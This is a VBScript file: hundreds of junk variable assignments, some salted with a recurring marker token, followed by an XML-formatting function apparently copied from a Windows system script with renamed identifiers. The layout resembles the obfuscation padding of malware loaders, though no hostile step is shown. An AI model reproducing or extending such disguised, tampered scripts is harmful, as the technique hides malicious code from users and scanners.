bzBnLiikWzzTcIh = "UZmcBCPxBuRqicr"
piiKSAPOWmkoLBU = "lxGqLfPLLWcGhli"
KmfKkZkLUKAcPpb = "oGtcimpiKzeiWbL"
bNkUZQQATemTuiL = "KNkWbKsNhWRKhKb"
pxUzWfUGZppWopJ = "vPURcijSOiClcaK"
LLUpmUiecxHicPb = "BxuKGkKWkePtifh"
hGmnqiKPKfPgoUK = "GmlCLpAJKaqcRtx"
KCxxlWzAKpGCccR = "kbCWznQKLWKWRJl"
IKGraummWklkGac = "WKLWiomWiLAGPtk"
WcmBpAZzPiLbesK = "HfhzGqlWhWHKbWC"
LLLLoAliGKtntKZ = "qKfKLiGiWKWlWOq"
AnKcuWpiZbGkecA = "nWjrRKiWUKubWWc"
xaeGWTeLgrWWBff = "pJpOKqKfiUoooLo"
cKRcoSWLlKLKcem = "GWzcWNbWkGLPeZf"
LdOKLfeiLWGrWAf = "uWkHHfiOcQqmWJC"
WWKAGkQqokGWued = "ZLiRIphkhttQBGK"
LWKhWGGmfbmLZRc = "UAUopCbKhWPAeBI"
cnfUKAWicGLlcmT = "UUdKbGKGKWWOAne"
PhWbWILLRBcpHeW = "KjozbWOApPoBBOB"
ijWSKqZUcQHdnJA = "PPiLzLeOQWkeckU"
LekgOlhfZScnGBU = "IpIvdHGGLLNueeo"
qGPWvLQnoQGdhbB = "RzkUffpCuWZZWxv"
ihLJLnWzKbdLtuc = "WKkimtvgvZPiuPW"
hmWWpaGAdKbWdWi = "iLoiLlStCKfKjlN"
efRPTWOlPKWPiTk = "IcKLLbLAHWOUpKu"
WzNQWKAAvWAecht = "lSiOPbOfBWdWcNk"
zphimtKWWLWzWkW = "SAcSvQmsmiWSoWL"
LRiLcguKpKhLLGn = "kLzeUizUobrRzTO"
WWlWkGGsichKtKz = "OQWNbzIbnROOcWW"
GpcxLficrbBkRUe = "WUSicasLfGWkiKW"
GkBdLWAiWckzfPh = "mLqPLUcIKWumrtB"
GikKBmqGqqlLknL = "CkcGbASKKZocoob"
jnLfmLCzZkGNisG = "UzlmtOaKuNtxRWe"
ormKWelKfocpeIl = "nBkKkusCLRRKUqW"
mUdLaxLqWPqoGcG = "oUlGWdKPWRTdikL"
pNWBcmBKGLzkbGI = "tcmRGfiZbGUQWcN"
hkxnULCTcWpKciL = "bBWJaeNPkUfuUmh"
BiBLvNtpjuAcogombralWb = "KLKzZiinpiOAegP"
oPbZgJAGiOABTct = "xiWuxWULeiuNieW"
oLpmWmaOzWqWciI = "LIqpJCxnaaLUhxe"
RKGxKkNWZimPjPm = "aKRcogombralJWTWumeWlx"
ULiivcogombralLKagNzKB = "doZiBIGPdHoWePv"
loLpLsLaWJneqBW = "LqmvWWbCWxWSBLO"
UsWcpxsxzheGzRk = "imUcOBNILULLaqg"
UKCnRikcHNcNcWz = "LJmRAldeLdZzAWK"
kLKPriNbHfhmaWr = "LTLWGkRtluOeHGN"
WKAWenKcnWWlRTk = "CWWafqWmkfxpAOa"
paRKWGLaKUzWuiL = "LLlLtOBWWlGWLLr"
hGGQLrUdhLeLNWx = "QKkbcZzmUitiBCp"
kujCpmRWLWmRLGe = "pOomAmkLWbvWLnx"
LNbKUiLIicLWUPo = "cNWNGUZpWpWimdW"
OeUbcOLCxLWWaNa = "eLPLRLiodtcZdUH"
zZeKUKBLkWpNWcP = "ihIWkeknhliLZlT"
peZLBAGcjtQhWuo = "LKtihnGCLllqGbe"
WabiJLqoULiANKi = "QPGrbpGUqWiPcGL"
vWLaKKWLiZNRAvg = "clhfbKmZWTfzmop"
cKUKpWWLWcGLxWG = "otmzlKobvBmdzxb"
pGzWeANkQzLpKKK = "ppWLANWLoWWChJK"
mrkUxpsNPkBnaxN = "GgNgALquKackWQv"
BoatuLZzfzdZuWK = "RGWkIbWZKoeWeLm"
tHmtWkLQshpfWUc = "UTOtASzlbkhcWzK"
zWzKGkKWdoKKnOv = "oaxOPLPGkLoWvNc"
fZzgkibWoNidWKf = "KNKiGcsKZGPUWlm"
cogombralNdiztiBcncsih = "QBZSWoqZbdadLzm"
xQNBWiWjQhirpdG = "fCUWOpqLULZLzih"
eKTsWUKBdLoiWpk = "oLlLkLKCmGBGeov"
OmGpmAsbKgcGINh = "cfLeLNtjitLcpUp"
LpRziOtkloiKvCG = "KALoLzUuiLGbLel"
RKnBBnJlPsrClhx = "NKKLtmcHdUibicL"
kAsQWmLelRbxjKm = "kLWWhJuLLhANcaL"
TbSoPAZiUPjheWg = "iWpeiLLLPhAcpWL"
ciTmUWRcLQWWSCA = "GCzGfKCjLSPWSkU"
dGWLaiigtlNNPPe = "NkkuGWAhUlmpUmu"
kWPWPZZvhzaWaWG = "iUlgLGZLULcoOeO"
PLKiWGUOUlBGcKn = "nBOpxpehivoCtfo"
iCcllGockvZWGRc = "dWkfLAecHnnirjb"
eLGKfchcogombralWTUdmi = "lCNhZAqCZktWOGN"
tjpNGeApeKcHfCW = "JzWhUmpACoKKqeW"
KWaWKKWpKimUUiW = "apLCkfphPfifGea"
WWmpcSqqeiKfUiB = "kbiWqSGkluqtSLW"
zxtioNbloZKhGAr = "CWgGzpvIhAQLdOn"
RSoLLcfLLithfom = "pCkpfzLfLmJzLKQ"
NWnLnmnzknpcQLK = "cWNKWiifeNGekKm"
eWNamcPbZaKoAnC = "GlPLUWhLKLqWgPN"
zeubhLeWWKLsWWc = "LRGRkWxuOQWZiKS"
AAfGLGnmxLuLlSi = "fLZQWcUZxtWUzCi"
KiGfkKiBRWUWGbC = "oWvkBzUALaWeGeU"
BAeIIzKozNWmUGz = "TnKKNGfLiUWkmKg"
foKSWaHUSTWKAWl = "iLPkNUHhWGpKKKz"
KRtlhqnrapKPaWi = "cLjKNzKBocWicWi"
tdiscWlLfKjdtKb = "cNKWippbGOWWuhk"
WcCnLOWxaiGhZqS = "TLLCifWfALBaGAW"
GsibUjWKqWZdNzg = "zKGpqWedLnfJuGn"
ecfcogombralUhrcULudKW = "LGlLeKGUPGkcqck"
AGrpUiitAfWfgGc = "iaKAiLlcLLzAbWG"
eSLWLLZLlhWZbLx = "kcSLilOepmikhNK"
JmWpiPkoinZBmZx = "fcAocWdemLbcogombralPn"
dKzGomGZWLKetUL = "lGuCOtkomgBLoai"
kULuOKpqGhamBpd = "gPQhKLibhchGWzn"
pkOUNmAmkdxrKLo = "pPdLGHnPnoCBemL"
lLczkWihcWaZHWK = "GZeNkKkWvuGocBB"
niWKGLxnnLKpGtl = "pKLcbUHciWppolB"
isLdKeocnzLLkCc = "xiLNtWJWQTcWlLK"
siNlCtKKQRWKAWh = "kJcbgQbPaLimbGW"
KRupAxcpszQoUil = "UWeWepzOpHiKKLk"
viUhfzcogombralGdrzhzT = "hvUKLRbfvUxpmoG"
dLPiijfLWGclsgz = "RiGmWjxqpzZuqxf"
cmiecUAchWiLGeO = "LvcKuZOLkvkWUQO"
BmAOPeWmLqUzrSa = "cWWdLhufGAoULxz"
LeGWKkxiUfKuWKN = "rLoIOnzKIutLiln"
kULfiAmkWaNfbhW = "ieLJiiLWcAPfGNt"
eqNuolcogombraldbLWpPK = "ibmZLWcKlUmILLf"
JbKziftczLdfibl = "hGxUqQfTePmtugG"
KZeKhufPGAKdhQA = "JcBdjciozcodhmd"
WeWbgmAAkPZLiaG = "jtiGvKvaBLUjPLb"
ibKmfPBGgukovLH = "KLALpUKRabWietL"
iuioGAKzZWOrKkL = "BpaALGLKIWjmNHc"
rfLzGLuLqPNWWiL = "LKGLnuNSKKqpRLo"
UpQKzWZWKQaLWxh = "NoLeWnoioGIneLe"
bkthKWjfWPpLcOW = "AlzjLiNpaULPcWK"
ckzkkLikeOLeWeP = "LWLKpRlWGzeILlL"
OlozLWBKclJLZGL = "dxqUftUULxPWNvb"
ofcBGChGhNKobLc = "kBGPfotWtGuNiez"
fGZGGiqopLZZfWR = "GhmuUkaGtWaLatZ"
LrRuCLBeOGaCGpS = "icKiKgKGufWKAaN"
oAWeigvaWKLoWcb = "oQlejajjRWKoioA"
oqRiloNcogombralvhWzku = "ahfTmZxIkKLGRKP"
kbULQmUmihxgbZW = "uaKZfbLbGgQRLWG"
fTTUkWLfzLhKeLW = "TLGzdniTPLcZKGt"
WtNKGLcobWdhZGW = "UPcWpieLWgcczWZ"
LUcWPimKzWRfezN = "LkztNeKdWPAaLZW"
xikcfppccKKLUcj = "rGoTKeLmZLzNUZa"
eLWNPRkNbRuLLoW = "NxhWioHPuBkHPoK"
PaZmqKhbetgcLWI = "mucbpZWlfJcKBks"
muWkKCGcqWIWPac = "BKqGAilQRLrULeN"
mKtqqBUbubfsKhL = "LcPglfKeKoWKirU"
cURmzGkLxKGcbxa = "ioPCJLIecaPOKLf"
kbOAQLqKdAimubL = "ovqsuduWPcjbzco"
bhWheKlZeAzclZG = "ZCqZWCccieiWeCL"
ASKtlAPpHpGHQKO = "KNnUnoAWopRpiUr"
vozLNthWWnsuihL = "iLKLGrUqUGpNCxK"
nUfKpeeAWSlpIzW = "KIKcKNZGcLoNWmS"
nBiNAnCqLApajCl = "LpLaiceKeKzidKz"
oPKGBKmLhUeGfcC = "JWmhsWWUALpiIHk"
rcGglPJgGOePkLW = "onWAUbzvRpdLWLd"
oqlnicakiHlaKHu = "CuPqujGKkxubItL"
OGTWAORZNumpkPc = "zxstvclQLUoWWLk"
LgpTPBchpRWPLLz = "mviUGBOhlhLeUPZ"
qLBbpeLzRplChcK = "keBamxurKijufaf"
oCpcQocPBULZxPW = "WLvUPooAimsgGzP"
pLGWKpGciprGlfO = "zjGLTQRcWGuuUWK"
ncBKobxZLLxWWkT = "AaLGmcUAlcPqPcK"
thKcNcnLvtZIlcL = "LfNKibKfqUKbOJb"
ACWLGhKnKPLKLin = "TdWOWSlLoUcaRLo"
pALLKqcqbSqckWG = "PAqSLNKWAKzoeKZ"
HRkpfNhWsupLcUO = "jktOKsmCvzObLmW"
LvOIGcicHQAKGcb = "NoOGiWgfdbixLKf"
cBNgWjZAozhlAPT = "zBNazGbqclZebGO"
KLbfHddxfGKWWWO = "doPnkbZJJlPqUKR"
JKbBNWbgITGcUkf = "rLomPlihiRIPicG"
WWqpkBLcKOWUWPK = "lWiohUgLUGiCqbZ"
WfOKbmUkAciRTGq = "KQkeAcHdhuhetIa"
IbKWicfLuckNzCZ = "WoxeLWjzLWTcKQS"
fUWKhKRhCLoZbkZ = "KUGLGWAKgkNhGCZ"
AfLoNZQiLzOZkPi = "hGieAidGeLkRhtp"
eLNIUmRKUoaGrzh = "iuZWfWfCcKjmbAj"
NuBoKNPqbjWnWah = "kchBCUimbuNfcLJ"
GZGKLRpuRiKNxkW = "LCKkHWhzKNWbLLZ"
pGiqocdiNqGqqUo = "tWLCAqNxccGWWiL"
lzOGLepAOBKOrgK = "JKuLxLWtCnLWBKk"
UWGBLpozLhUkmsn = "jkogLGCLhKCdLri"
ZLWupUoAzcbvKoK = "GQKiPWKfPipeunk"
ikeRzGAciJcLfNm = "ZmUBhoWRZibaKGp"
KUCfGdkNfKPccWK = "IKLLkpKKWJZCidm"
nLlznZuWzQbonGP = "zTGKmAWLimLGsZU"
KLeLebmfuWLbCZc = "PeCcLZkLkGWlfeg"
LBNNuAWWUJxNKdA = "euevoQnPGPWiKmU"
teNWqCmmLZiqOmd = "nGckShZUCKKhxPq"
ObGKpGNcoWtJrJo = "lfdWKWkcRztLCAG"
WljGxBAlKhiLtvn = "LKLzKkLcjZWqNuc"
mPLbzWWjWkOeqWW = "GLkiOKrfieikRUZ"
KhkLGLPAplHGBLW = "hiiqxLcLAgKkkBe"
ILCWiucjecWdUaU = "GKgNmbeALLWhUmk"
jLqTtALQLWLGihH = "GcLvidWiZpkmsqL"
tAbhWNJbIppWtWb = "NvehxbcciKbPfKA"
WmZGhbfUqfaWgzN = "pKKkifLLLokciWx"
AeWpWeQRkqfLLld = "LKKxKfiidiNzKLe"
AenqWikWpcoHrGL = "GZbWcbAKLRbARUK"
KKiZWWiiHJUQifB = "omcfmpbWtlfWcWK"
qemUhnqeUWoWWtp = "ALkWZBbPPxeKzpL"
RKCKGxLxWKAPSWK = "WOUWWpdvGWecimG"
TrxBWkWQkGphqbf = "SAWelWLdPWLfhxA"
NKfchzzbpncpLGN = "srLiCrLQKKkdnCP"
hLupWnOWHGoLTcW = "mpLpWiWaZlmsmfa"
rLotUcbNWIWWhei = "pkxuLfGzLnbPcTK"
bcjZRRWqcogombralUgomW = "LNagLizWjALZjNx"
cKaduRLecGccLkf = "fWhLCUKnpfGmfZb"
ULumqWKcieWWOkK = "NKiLabJBcCTGCmW"
LiCNsIimvoUtWbt = "eNlcBzUNOAZWRcb"
WOLzLevTWpALJcn = "LGCWgGLWpfkcogombralLI"
vKkliksNhLQUjkW = "OkbgLfcBGzoGWbs"
ZiZmPmiGLsBmRZZ = "pRLLHkUtWLtKdiv"
eiZcoKcNGZlUbcK = "NWWrOKeLWRzObGc"
ucCKiaLWnJUoito = "lOLSKWcJjlAWpmW"
KmoxUQTKGWkZWTW = "iWhikKGWBceTHme"
ekjWKWiULGLAUpi = "WULULLqlPlKLZUi"
LCvcGLLcKifLPUL = "PmAiJfGlUoAiIkL"
zQZgxkAKZLrUfne = "KLcJGoAWLCJnAfN"
niKWLRskLhAcdex = "iZqvLpeJKoAPZkZ"
kLWzfCopLPTdKIz = "WLiACShmkpJLLbr"
kOmiIUebiKZleGL = "iLKsZncjGbalcuz"
fBkmNKmWWmUhKzA = "COKmUZLLUznRckt"
nWciLJiUSLKLZsO = "GhUOCLtoAZZGkUO"
KBkLCKhqfhLHmqC = "uLicbqeNPzZGWCK"
GvSKLKnLmudBTaH = "ZQhPKGmfLmxWhZU"
afKjNCbWRKWLavv = "zfphQeWbQeijtdW"
kmLfeeKKAWJaLLc = "pbzjfKGocWOZGGz"
LPLnPWkcKhLzoeC = "UIHBIAjoWbZWbaU"
RShiRNGkUrGPWph = "mTkvKBkznWpdemP"
kcgKAZbnlrzulci = "IvcGLaaiTgmuUWZ"
fkOBcIqJhBogTOh = "zcfvRoGZiAppLir"
icLWWIrWkuhblcL = "gxliLWCWZLnOquG"
LWhLiWmkiWGKZLT = "KGGsGuqiqPRWKLe"
ZkGWPWpdLiNlqui = "piLemLNcogombralJQilQu"
dRWZKzniiHGeGLN = "pTthkUnefPufiii"
UviCLUoWCZTqcdZ = "WKpiWeWKGGgnOIf"
UPcbUucSbWBGBLs = "LtWRbKceLdmeunz"
fcezLZfBcgKiLQK = "bKbUbHaAPbhAlvo"
iRmWtauWZuPxiTA = "iLmkplzWmaIWkuH"
epKWbsdGfGKRUhP = "ZLALGkozeLpizma"
UWchUKzUbGLBWGA = "vrLLofLifKbcPZu"
WUiRkTzbHdoANKc = "hoeucfhzBxLBKmL"
LZeWchCUZGiNcogombralR = "uKWQLhlkbmaWLLU"
HpLzOWoBfOWhGbm = "UWbPLqkWRdWjcqL"
ZTcihbPmQRiWGii = "WWrWWemWBWuZmaW"
eIAqsWZTCJnpfaL = "uRxugLpfLkBbuWB"
jaZmvLLuvclCLRU = "WkBcGhuWGdHzGWL"
WNeKzAgctcLGcPk = "NoLcuixoozWqKWc"
CZGGZahvLeLiKKR = "ucLfLiecibbWcGx"
fnKsUHmLBOLPmhG = "sWLojcWWJWnWGLl"
riiLLKoocPqKIne = "LZivxozgLkdLUbB"
cUChkLLGWUccLbC = "NCZWQZGaLZWWGGk"
GWPoiccKalcqZUf = "igrNPcAmUiWJcOU"
tcdmLWpbBixnnaP = "BOZvHPnmtigGWkL"
xfbOcKWpnRKtWpN = "LCLUghTxKLHxkCW"
JTpzWUdiIPihLei = "qknGbWpmezoWSqp"
UxUjoUxrBZLvpSv = "ZiWoNeOWALBiUpc"
iiZmCWkqoCPmvWN = "sGtcptWRnLznWPT"
WhKdLGeUziukWkk = "GWZGtASiJBLeOcb"
eOmPUloAWLKLfmZ = "ABAWcdJxgZfAtfZ"
hbxUeiHutJciORf = "smxcWcogombralopkckbkd"
pNztbhPkiKWBKPr = "NNtcogombralLhlZWfzLcA"
uaULbZpmNGWGKUG = "kAKbKiLLGpBoUhp"
WPBhkhLGRpLRtJn = "CiSSWcWkiUoitLI"
ZGhiJmaBeGidmnK = "nUkWcrqoULnthQL"
LhKzchicNPiLnxt = "RKpPWUfpcRpKkJO"
ecLhGSUffzGLoAm = "ZiLWGhGpWrchaLK"
WQznxNBogIKAIkc = "WpdClhIZQGWjubN"
WpLhpgWGcPcLqvP = "zAjAeuteUUdmbqU"
RhLIcWidWChKgPv = "WAPdiuWeLWGLULh"
private function ReFormat(rawStr,formattedStr,mortinatalidade)
dim xslFile
dim xmlFile
dim xmlFileName
dim xslFileName
dim FORMAT_XSL_PATH
if Len(rawStr) = 0 then
ReFormat = false
exit function
end if
on error resume next
err.clear
if LCase(mortinatalidade) = VAL_FORMAT_XML then
formattedStr = rawStr
else
set xmlFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if
set xslFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if
xmlFile.async = false
xslFile.async = false
xmlFile.LoadXML(rawStr)
if (xmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_XMLERROR_Message") & xmlFile.parseError.reason
on error goto 0
ReFormat = false
exit function
end If
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\system32\")
if InStr(LCase(WScript.Path),"\syswow64") > 0 then
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\syswow64\")
end if
if LCase(mortinatalidade) = VAL_FORMAT_TEXT then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_TEXT_XSLT
elseif LCase(mortinatalidade) = VAL_FORMAT_PRETTY then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_PRETTY_XSLT
else
stdErr.WriteLine resurgimento("L_FORMATLERROR_Message") & mortinatalidade
stdErr.WriteLine
on error goto 0
ReFormat = false
exit function
end If
if Not xslFile.load(FORMAT_XSL_PATH) then
stdErr.WriteLine resurgimento("L_XSLERROR_Message") & FORMAT_XSL_PATH
if xslFile.parseError.errorCode < 0 then
stdErr.WriteLine xslFile.parseError.reason
end if
on error goto 0
ReFormat = false
exit function
end if
formattedStr = xmlFile.transformNode (xslFile)
if Err.number <> 0 then
stdErr.WriteLine Err.Description
on error goto 0
ReFormat = false
exit function
end if
end if
ReFormat = true
end function